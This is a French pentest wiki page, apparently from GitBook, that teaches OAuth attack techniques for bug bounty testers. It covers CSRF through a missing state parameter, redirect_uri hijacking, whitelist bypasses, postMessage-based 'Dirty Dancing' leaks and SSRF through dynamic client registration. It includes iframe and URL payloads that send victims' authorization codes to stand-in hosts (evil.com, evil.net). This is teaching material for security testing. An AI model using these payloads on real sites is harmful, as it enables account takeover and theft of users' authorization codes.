Pentest & Bug Bounty
  • 🥷Pentest et Bug Bounty
    • 👾Pentest Methodology
    • 💸Bug Bounty Methodology
      • 📓Ecrire un bon rapport
      • ⚖️Aspect Juridique (FR)
  • 👣OSINT / Recon
    • 🧦Sock Puppet
    • 🧠Mindmaps
    • 🏢Entreprise
    • 👀Leaks
    • 👊Manuel / Dorks
      • Google dorks
      • Github dorks
      • Twitter Dorks
      • Shodan Dorks
    • 👥Réseaux sociaux (SOCMINT)
      • 🕵️Telegram OSINT
      • 👻Snapchat OSINT
      • 🤵‍♂️Linkedin OSINT
      • 🗣️Facebook OSINT
      • 🎼Tik tok OSINT
      • 📷Instagram OSINT
      • 🐦Twitter OSINT
      • 🔊Discord OSINT
    • 🖇️Domaines et Sous-domaines
    • 🚪Scan de ports / web
    • ✉️Emails
    • 🔗Réseau
    • 📷Screenshots
    • 📹Live camera
    • 🧔Reconnaissance faciale / images
    • 🌆Images
    • 🗺️Maps
    • 👁️Active Directory
    • ☁️Cloud
    • Autre
  • 🌐Pentest Web
    • ✊Brute force / Fuzzing
    • 💉Injections
      • 🍪XSS
        • PDF injection
      • 📄HTMLi
      • 📃XXE
      • 7️⃣SSTI
      • 🔢SQLi
        • 👫UNION based
        • ⏳Time based
        • 🥽Boolean based / Error Based
        • 📤Out-Of-Band
      • ↩️CRLF
      • 🐚OS injection
      • ☕Log4Shell
      • 🥠CSV
      • 🍻ESI
      • 😎XSLT
      • 💌Injections dans emails
      • 🔀ELi
        • OGNLi
    • ↪️Open redirect
    • 📁Path Traversal / LFI / RFI
    • 🔓Bypass
      • 〰️WAF / Filter bypass
      • 2️2FA
    • ☠️Charges utiles
    • 📚CMS (Content Management System)
      • WordPress
      • Joomla!
      • Magento
      • Drupal
    • 🎭SOP bypass
      • CORS
      • postMessage()
      • JSONP
    • 🖱️Clickjacking
    • ⚙️Insecure deserialization
    • ☣️Web Cache Poisoning / Deception
    • 🤝HTTP Smuggling
    • 👋OAuth
    • ⛔SAML
    • 🗝️JSON Web Token
    • 🎣CSRF
      • 🚀Cross-site WebSocket Hijacking (CSWSH)
    • 🎯IDOR
    • 🕹️SSRF
      • Cloud SSRF
      • Protocol Smuggling
    • ⚙️APIs
      • 🍽️REST
      • 📶GraphQL
    • ❓Mot de passe oublié
    • 🛒Fonctions d'achat et de facturation
    • 👽Broken authentication / register
    • 🏁Panneaux d'administration
    • ⏬Upload features
    • 🔗Broken Link Hijacking
    • 🎮Prise de contrôle de sous-domaine
    • 🛂Prise de contrôle de DNS
    • ☝️One liners
    • 🚧Misconfigurations
    • 🗿Analyse statique
      • PHP
      • Ruby On Rails
      • Perl
      • JAVA
      • Javascript
      • Python
      • Golang
      • .NET
    • 🪣AWS S3
    • 🤖Captcha
    • 🪞Race conditions
    • ☄️.git exposé
    • 💭Business logic
    • 🥡Prototype pollution
    • 💣Dependency confusion
    • 🛑DoS
      • 🤯ReDoS
      • 👏Hash flooding
      • 🧨Cookie bomb
    • Autre
      • Flask
      • Symphony
      • Spring Boot
      • Django
      • Jenkins
  • 🌩️Pentest Cloud
    • IaC (Infrastructure as Code)
      • Terraform
      • Helm
      • Kustomize
    • AWS
      • Enumeration
    • Azure
      • Entra ID
      • Azure Resource Manager (ARM)
        • Enumeration
    • GCP
      • GCP IAM
      • Authentification
      • Enumeration
    • Kubernetes
  • 🕸️Pentest Réseau
    • 🪡Protocoles réseau
    • 📡Wifi
    • 🔋BLE
    • 📍VPN
  • 🗂️Pentest AD
    • 👺GPP
    • ➡️Mouvements latéraux
      • 🔪Pass The Hash
      • 🗡️Over Pass The Hash
    • 📜ADCS
  • 📱Pentest Mobile
    • 🤖Android
      • 👾Méthodologie
      • 🌳Setup environnement
      • 🍇Collecte d'informations
      • 🔠Enumeration des données locales
      • 🔙Reverse engineering
        • 🪢Dé-obfuscation
      • ⛰️Analyse statique (Android)
      • 🐞Debug
      • 🎰Stockage de données non sécurisé
        • 📰Logs
        • 🤝Shared Preferences
        • 🔤Strings
        • 🗄️SQLite DB
        • 🗃️Realm DB
        • 🧠Mémoire
        • 📍Copy/Paste buffer caching
        • ⌨️Keyboard press caching
        • 🔙Backup
        • Carte SD
      • 🌩️Firebase/Appspot misconfig
      • 🔗Deeplinks vulns
        • Interception de contenu
        • WebView hijacking (via deeplink)
        • Invalid Digital assets links
      • 🖼️WebView vulns
        • WebView Hijacking
        • Exfiltration de données
        • RXSS
        • Vol de token
      • Guides outils
        • ⛏️Outil Drozer
          • Injections SQL (Android)
          • Path traversal (Android)
        • 🔬Outil Objection
        • 🪝Outil Frida
        • Outil Medusa / Mango
      • Bypass
        • 📲Contournement de détection d'emulateur
          • 📂Fichiers d'emulateurs
          • 🙋‍♂️Network Operator Name
        • 🦷Contournement des détections de rootage
          • 🧮Root management
          • 🗝️Clé de signature du noyau
          • 🧊Props dangereux
          • 🦸‍♂️Binaire "su"
          • ❌Permissions sur les repertoires
        • ☝️Contournement des protections biometriques
        • 📜SSL pinning bypass
        • Contournement de code PIN
      • 🔳Lecteur de code QR/EAN/Barres...
      • 💔Injection de backdoor
      • 🪧Task hijacking
      • 🎭Overlay attacks
        • Tapjacking
        • Invisible Keyboard
      • 📵Résilience
        • ⌨️Third Party Keyboards
        • ©️Allowed Copy/Paste on sensitive fields
        • 🛤️Background screen caching
        • 🖋️Schémas de signature
        • ⬆️In-App updates
      • 🤯Corruption de Mémoire
    • 🍏iOS
      • 🥅Méthodologie
      • 🧱Setup environnement (iOS)
      • ⏮️Reverse engineering (iOS)
      • 🏔️Analyse statique (iOS)
      • 🧿Contournement de détection de Jailbreak
      • 📌SSL pinning bypass (iOS)
      • 👇Contournement d'authentification biométrique
      • 🐛Contournement d'anti-Hooking/Debugging
      • 🙈Stockage de données non sécurisé (iOS)
        • 💭Mémoire (iOS)
        • 🏓Copy/Paste buffer caching (iOS)
        • 🍪Cookies (iOS)
        • 🗞️Logs (iOS)
        • ⌨️Cache du clavier (IOS)
        • Backup (IOS)
      • 📱Background screen caching
      • 🧑‍🚀WebView vulns (iOS)
      • Deeplinks vulns (iOS)
      • Lecteur de code QR
      • Firebase misc
  • 👷Pentest physique
    • 🔐Crochetage
    • 💳RFID
    • ⚙️Equipements
    • 💾Hardware Hacking
      • 📈UART
      • 🧪JTAG
      • ⚡SWD
      • 🪢SPI
      • 🚌I²C
      • 🔴Fault Injection
      • Side-Channel Attacks
    • 🐣Firmware hacking
  • 🖨️Pentest IoT
    • ⏪Replay de stream camera
    • 🗣️Assistants vocaux
    • 📹Camera IP
    • ⬇️DoS
    • 🖨️Imprimantes
    • 🎬Chromecast
  • 💀Hacking protocols
    • 😩Telnet - port 23
    • 🔐SSH - port 22
    • 📤FTP - port 21
    • ❔Whois - port 43
    • 👉DNS - port 53
    • 🐕‍🦺Kerberos - port 88
    • 💼SNMP - ports 161-162
    • 📨SMB - ports 445-139
    • 📧SMTP - ports 25-587
    • 🎦RTSP - port 554
    • 🔎MS-RPC - ports 135-593
    • ➕Rsync - port 873
    • 🔢MS-SQL - port 1433
    • 🏗️Docker - port 2375
    • 🔡MySQL - port 3306
    • 📝LDAP - ports 389, 636, 3268, 3269
    • 🖥️RDP - port 3389
    • ⌨️VNC - ports 5800,5801,5900,5901
  • 😈Ingénierie sociale
    • 🧠Concepts / Principes / Attaques
    • 🪧Ethique
    • 👤Profils comportementaux
  • 🔓Crack
  • 🛠️Autres outils utiles
    • 🚿Sandbox / Sanitizer
    • 🔤Générateurs de wordlists personnalisées
  • 🌜Post-Exploitation
    • 👔Énumération /Élévation de privilèges
      • 🐧Linux
        • CVE-2022-0847 (Dirty Pipe)
        • CVE 2021-4034 (PwnKit)
        • CVE 2021-3560 (Polkit)
      • 🪟Windows
        • 🖨️PrintNightmare
        • 🖨️SpoolFool
        • 🆔Usurpation de SAMAccountName
        • ⏲️Scheduled task/job (T1573.005)
        • 🐝HiveNightmare
        • 🔑Stored Credentials
        • 🎩SeImpersonatePrivilege
        • 🎒SeBackupPrivilege
        • 🍞Unquoted Service Path
        • 🧩DLL Hijacking
        • ©️SeBackupPrivilege
      • ⛴️Docker
    • 👻Effacement des traces
    • ⚓Persistance / Downloaders
    • 🛡️Defense evasion
    • 📦Exfiltration de Données
  • 🔎Forensic
    • 💡Méthodologie
    • 📺Live forensic
    • 💻Mémoire non volatile
    • 🕊️Mémoire volatile
    • 📄File forensic
Propulsé par GitBook
Sur cette page
  • Processus
  • Vol de session
  • Absence de contrôle CSRF
  • OAuth hijacking via redirect_uri
  • Bypass
  • OAuth brute force
  • ATO via manipulation des permissions accordées
  • One-Click ATO via OAuth Dirty Dancing
  • Trouver un "non-happy path"
  • Trouver un moyen de faire fuite l'URL (Bonne chance)
  • OpenID dynamic client registration SSRF

Cet article vous a-t-il été utile ?

  1. Pentest Web

OAuth

PrécédentHTTP SmugglingSuivantSAML

Dernière mise à jour il y a 9 mois

Cet article vous a-t-il été utile ?

Processus

Vol de session

  • se connecter tout en capturant le traffic dans le http history de burp

  • aller dans le POST /authenticate

  • changer l'email de la victime par le mail de l'attaquant

Absence de contrôle CSRF

Dans le cas où le paramètre state (permettant de se protéger des attaques CSRF) serait absent, Un utilisateur malveillant pourrait tenter de détourner le compte d'un autre utilisateur en le manipulant dans le but de lier son compte à son réseau social.

Exemple:

Application permettant d'associer un compte de réseau social.

  • Se connecter

  • Associer un compte de réseau social

  • Vérifier le fonctionnement de la fonction "Se connecter avec [réseau social]"

  • Dans l'historique http de burp, analyser les requêtes

  • Vérifier que la redirection ne contient pas le paramètre "state"

  • Vérifier la présence du code d'autorisation dans la requête suivant la redirection

La deuxième étape vise à refaire le même procéder sans utiliser le code d'autorisation qui ne sera plus valide s'il est utilisé.

  • Capturer la requête "Associer un compte"

  • Forward la requête jusqu'au code d'autorisation

  • Copier l'url de la requête

Attention: il est important de drop la requête afin d'empêcher l'utilisation du code avant de l'avoir transmis à la victime.

A partir de ce moment, le fait que le paramètre state ne soit pas présent permet à l'attaquant de créer un exploit tel que celui ci-dessous qu'il pourrait envoyer à un autre utilisateur pour l'inciter à lier son compte au siens contre son gré:

<iframe src="https://target.com/oaut-linking?code=<AUTORIZATION_CODE>"></iframe>

Si le paramètre state est présent, essayer de le laisser vide pour vérifier si il est réellement vérifié.

OAuth hijacking via redirect_uri

Si le paramètre redirect_uri n'est pas correctement validé et permet à un attaquant de rediriger la requête OAuth sur un serveur lui appartenant, il pourrait alors prendre le contrôle du compte d'un autre utilisateur.

Etapes:

  • Se connecter

  • Associer un compte de réseau social

  • Vérifier le fonctionnement de la fonction "Se connecter avec [réseau social]"

  • Dans l'historique http de burp, analyser les requêtes

  • Tenter de remplacer le contenu du paramètre "redirect_uri" par une valeur arbitraire

  • Constater qu'il n'y a pas d'erreur

  • Vérifier la vulnérabilité en tentant une redirection sur un serveur nous appartenant (vérifier la présence du code d'autorisation dans les logs)

La deuxième étape consiste donc à envoyer comme précédemment un exploit à notre victime qui va permettre de voler son code d'autorisation et qui va ainsi nous permettre de nous connecter avec.

<iframe src="https://target.com/auth?client_id=<client_id>&redirect_uri=https://evil.com&response_type=code&scope=openid%20profile%20email"></iframe>

Une fois que la cible aura exécuté l'exploit, son code sera leaké dans les logs de notre serveur et nous n'auront donc plus qu'à nous déconnecter de notre session puis nous reconnecter en utilisant directement le code de notre victime.

Exemple:

Bypass

Afin d'éviter ce risque, les entreprises utilisent des whitelist leur permettant de n'autoriser que leurs urls dans le paramètre redirect_uri mais si celles-ci ne sont pas correctement implémentés, elle peuvent être contournées de différentes manières.

  • Certaines implémentations autorisent une plage de sous-répertoires en vérifiant uniquement que la chaîne commence par la séquence de caractères correcte, c'est-à-dire un domaine approuvé. Vous devriez essayer de supprimer ou d'ajouter des chemins arbitraires, des paramètres de requête et des fragments pour voir ce que vous pouvez modifier sans déclencher d'erreur.

  • Si vous pouvez ajouter des valeurs supplémentaires au paramètre redirect_uri par défaut, vous pourrez peut-être exploiter les écarts entre l'analyse de l'URI par les différents composants du service OAuth. Par exemple, vous pouvez essayer des techniques telles que:

https://target.com&@foo.evil.net#@bar.evil.net/

  • Vous pouvez occasionnellement rencontrer des vulnérabilités de pollution des paramètres côté serveur. Au cas où, vous devriez essayer de soumettre des paramètres redirect_uri en double comme suit :

  • Certains serveurs accordent également un traitement spécial aux URI localhostcar ils sont souvent utilisés pendant le développement. Dans certains cas, tout URI de redirection commençant par localhostpeut être accidentellement autorisé dans l'environnement de production. Cela pourrait vous permettre de contourner la validation en enregistrant un nom de domaine tel que localhost.evil.net.

  • Si il est impossible de nous rediriger vers notre serveur directement via le paramètre redirect_uri et qu'une autre page du site contient une redirection ouverte, on peut essayer d'utiliser du path traversal pour nous rendre sur cette page.

Exemple: https://target.com/oauth/callback/../exemple/path?redirect=http://evil.net

Essayez également de trouver toutes autres vulnérabilités qui vous permettraient d'extraire le code ou le jeton OAuth et de l'envoyer à un domaine externe.

  • XSS

  • HTML injection (<img src="evil.net">)

OAuth brute force

Essayer de brute force la page de login pour trouver des règles oauth cachées.

Exemple:

/login/facebook

/login/oauth/twitter

/login/oauth/v2/yahoo

ATO via manipulation des permissions accordées

  1. Sign up avec Oauth de réseau social

    1. REFUSER DE PARTAGER L'EMAIL

  2. Redirection vers page de création de compte avec email normalement vide

  3. Intercepter la requête de création de compte

  4. Entrer un email déjà validé dans le champs d'email (celui de la cible)

  5. Envoyer la requête

Si cela fonctionne, cela nous connecte alors sur le compte de la cible.

One-Click ATO via OAuth Dirty Dancing

Étapes

Trouver un "non-happy path"

Le premier objectif est de trouver un moyen de "casser" le flux de connexion OAuth afin de terminer avec une erreur faisant fuiter le code / token.

Pour cela, il existe plusieurs solutions:

Manipuler le paramètre state

Théorie:

  1. L'attaquant démarre un flux de connexion OAuth sur le site Web en utilisant « Connectez-vous avec X ».

  2. L'attaquant intercepte la valeur du paramètre state et construit un lien pour la victime pour se connecter avec le fournisseur OAuth mais avec le paramètre state de l’attaquant.

  3. La victime est connectée avec le lien et redirigée vers le site web.

  4. Le site Web valide l'état de la victime et arrête le traitement due flux de connexion car son paramètre state invalide. (Page d'erreur pour la victime)

  5. L'attaquant trouve un moyen de divulguer le code de la page d'erreur. (Via une XSS par exemple)

  6. L'attaquant peut désormais se connecter avec son propre paramètre state et le code a été divulgué par la victime.

Manipuler le paramètre response_type/response_mode

Google:

Remplacer le paramètre response_type=code par response_type=code,id_token

Apple:

Remplacer le paramètre response_type=code par response_type=code+id_token et le paramètre response_mode=query par response_mode=fragment

Manipuler le paramètre redirect_uti

Casse:

remplacer le paramètre redirect_uri=https://target.xyz/callback par redirect_uri=https://target.xyz/CalLbAcK

Chemin:

remplacer le paramètre redirect_uri=https://target.xyz/callback par redirect_uri=https://target.xyz/callbackxxx

Paramètre additionnel:

remplacer le paramètre redirect_uri=https://target.xyz/callback par redirect_uri=https://target.xyz/callback?code=xxx ou redirect_uri=https://target.xyz/callback?id_token=xxx

Trouver un moyen de faire fuite l'URL (Bonne chance)

L'étape suivante consiste à trouver un moyen de faire fuite l'URL d'erreur contenant le code / token.

Voici quelques solutions possibles:

postMessage

Si un Post-Message ne vérifie pas l'hôte source des messages, on peut imaginer un scénario tel que:

  1. L'attaquant envoie à la victime un lien spécialement conçu pour aboutir à un "non-happy path" dans la danse OAuth.

  2. La victime clique sur le lien. Un nouvel onglet s'ouvre avec un flux de connexion avec l'un des fournisseurs OAuth du site Web exploité.

  3. Une erreur est déclenché sur le site Web exploité, le listener postMessage vulnérable est chargé sur la page sur laquelle la victime a atterri, toujours avec le code ou les jetons dans l'URL.

  4. L'onglet d'origine envoyé par l'attaquant envoie un tas de postMessages au nouvel onglet avec le site Web pour que le listener postMessage divulgue l'URL actuelle.

  5. L'onglet d'origine envoyé par l'attaquant écoute ensuite le message qui lui est envoyé.

  6. Lorsque l'URL revient dans un message, le code et le jeton sont extraits et envoyés à l'attaquant.

  7. L'attaquant se connecte au compte de la victime en utilisant le code ou le jeton exfiltré.

XSS

OpenID dynamic client registration SSRF

La spécification OpenID permet aux applications clientes de s'enregistrer auprès du fournisseur OpenID de manière standardisée. Si l'enregistrement dynamique du client est pris en charge, l'application client peut s'enregistrer elle-même en envoyant une requête POST à endpoint dédié tel que /registration par exemple. Le nom de cet endpoint est généralement fourni dans le fichier de configuration et la documentation.

Via cet endpoint, l'utilisateur va alors avoir la possibilité de s'enregistrer en renseignant des informations au format JSON demandant souvent une liste d'urls de redirection whitelistées.

De cette manière, si cette fonctionnalité est activée et mal restreinte, un attaquant à la possibilité d'enregistrer ses propres urls de redirection et ainsi de bénéficier d'une SSRF.

Exemple:

POST /openid/register HTTP/1.1
Content-Type: application/json
Accept: application/json
Host: oauth-authorization-server.com
Authorization: Bearer ab12cd34ef56gh89...

{
    "application_type": "web",
    "redirect_uris": [
        "https://client-app.com/callback",
        "https://attacker-app.com/callback2"
        ],
    "client_name": "My Application",
    "logo_uri": "https://client-app.com/logo.png",
    "token_endpoint_auth_method": "client_secret_basic",
    "jwks_uri": "https://client-app.com/my_public_keys.jwks",
    "userinfo_encrypted_response_alg": "RSA1_5",
    "userinfo_encrypted_response_enc": "A128CBC-HS256",
    …
}

🌐
👋
https://target.com/oauth-callback?code=<STOLEN_CODE>
https://www.target.com/?clientid=<client_id>&redirect_uri=target.com/callback&redirect_uri=evil.net/exploit